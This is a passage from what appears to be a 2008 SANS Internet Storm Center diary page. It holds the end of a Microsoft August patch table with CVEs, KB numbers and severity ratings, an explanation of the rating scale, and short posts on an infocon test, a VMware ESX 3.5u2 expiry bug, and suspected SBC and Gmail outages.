MS08-043	Excel CVE-2008-3003 CVE-2008-3004 CVE-2008-3005 CVE-2008-3006	KB 954066	No publicly known exploits	Critical	Critical	Important
MS08-044	Vulnerabilities in Microsoft Office Filters Could Allow Remote Code Execution
MS08-044	Office 2000, XP 2003, Works 8, Project CVE-2008-3018 CVE-2008-3019 CVE-2008-3020 CVE-2008-3021 CVE-2008-3460	KB 924090	No publicly known exploits	Critical	Critical	Important
MS08-045	Cumulative Security Update for Internet Explorer
MS08-045	Internet Explorer CVE-2008-2254 CVE-2008-2255 CVE-2008-2256 CVE-2008-2257 CVE-2008-2258 CVE-2008-2259	KB 953838	Publically disclosed vulnerability but no known exploits.	Critical	PATCH NOW!	PATCH NOW!
MS08-046	Vulnerability in Microsoft Windows Image Color Management System Could Allow Remote Code Execution
MS08-046	Windows 2000, XP, 2003 CVE-2008-2245	KB 952954	No publicly known exploits	Critical	Critical	Important
MS08-047	Vulnerability in IPsec Policy Processing Could Allow Information Disclosure
MS08-047	Vista, 2008 CVE-2008-2246	KB 95373	No publicly known exploits	Important	Important	Important
MS08-048	Security Update for Outlook Express and Windows Mail
MS08-048	Windows (OE, Mail) CVE-2008-1448	KB 951066	No publicly known exploits	Important	Important	Important
MS08-049	Vulnerability in Event System Could Allow Remote Code Execution
MS08-049	Windows CVE-2008-1456 CVE-2008-1457	KB 950974	No publicly known exploits	Important	Important	Important
MS08-050	Vulnerability in Windows Messenger Could Allow Information Disclosure
MS08-050	Windows Messenger CVE-2008-0082	KB 955702	Publically disclosed vulnerability but no known exploits.	Important	Important	Important
MS08-051	Vulnerabilities in Microsoft PowerPoint Could Allow Remote Code Execution
MS08-051	PowerPoint CVE-2008-0120 CVE-2008-0121 CVE-2008-1455	KB 949785	No publicly known exploits	Critical	Critical	Important

We will update issues on this page for about a week or so as they evolve.
We appreciate updates
US based customers can call Microsoft for free patch related support on 1-866-PCSAFETY

(*): ISC rating

We use 4 levels:
- PATCH NOW: Typically used where we see immediate danger of exploitation. Typical environments will want to deploy these patches ASAP. Workarounds are typically not accepted by users or are not possible. This rating is often used when typical deployments make it vulnerable and exploits are being used or easy to obtain or make.
- Critical: Anything that needs little to become "interesting" for the dark side. Best approach is to test and deploy ASAP. Workarounds can give more time to test.
- Important: Things where more testing and other measures can help.
- Less Urgent: Typically we expect the impact if left unpatched to be not that big a deal in the short term. Do not forget them however.
The difference between the client and server rating is based on how you use the affected machine. We take into account the typical client and server deployment in the usage of the machine and the common measures people typically have in place already. Measures we presume are simple best practices for servers such as not using outlook, MSIE, word etc. to do traditional office or leisure work.
The rating is not a risk analysis as such. It is a rating of importance of the vulnerability and the perceived or even predicted threat for affected systems. The rating does not account for the number of affected systems there are. It is for an affected system in a typical worst-case role.
Only the organization itself is in a position to do a full risk analysis involving the presence (or lack of) affected systems, the actually implemented measures, the impact on their operation and the value of the assets involved.
All patches released by a vendor are important enough to have a close look if you use the affected systems. There is little incentive for vendors to publicize patches that do not have some form of risk to them.

1 Comments

Upcoming Infocon Test and new Color

Just a reminder... the test will start shortly.

This Friday, we will change the infocon to test a new admin interface. The test will last from 10:00-11:00 EDT (14:00-15:00 UTC). We will cycle through all colors. The pager notifications will be disabled during the test.

In the future, we are planning more regular infocon tests. Probably once a month, but the schedule has yet to be determined. In order ot conduct the tests, we will use a new color "Blue". Blue is used only for tests. Pager alerts will not be disabled for these tests to allow you to test them as well.

For details about the infocon, see http://isc.sans.org/infocon.html .

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

11 Comments

VMWare ESX 3.5u2 Errors

VMWare has an important announcement if you are using VMWare ESX 3.5u2: This particular version will "expire" today (August 12th). If you restart the server, or move a virtual machine, you will get an error and you will not be able to start up the machine or use VMotion.

In short: If you use this exact version of VMWare ESX: Don't touch it until you hear from VMware about a solution. As a work around, you can change the system time to a date before Aug. 12th and turn off NTP.

Links:
communities.vmware.com/thread/162377
www.vdi.co.nz/

(thanks to a number of readers who alerted us about this! And thanks to all the Australian VMware users who of course ran into this first)

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

0 Comments

SBC Outage in Cleveland?

SBC Outage in Cleveland? Perhaps?

We've only had one report today of any problems, however, we don't know if SBC has changed their routes to avoid InternetHealth, or what the deal is, but it looks like something is up.

-- Joel Esler http://www.joelesler.net

1 Comments

Gmail Outage?

Getting reports here at the Storm Center of an outage for Gmail. I can't replicate it, it works fine from me from two Internet access points. Is it still down on the interwebz for you guys?

-- Joel Esler http://www.joelesler.net

1 Comments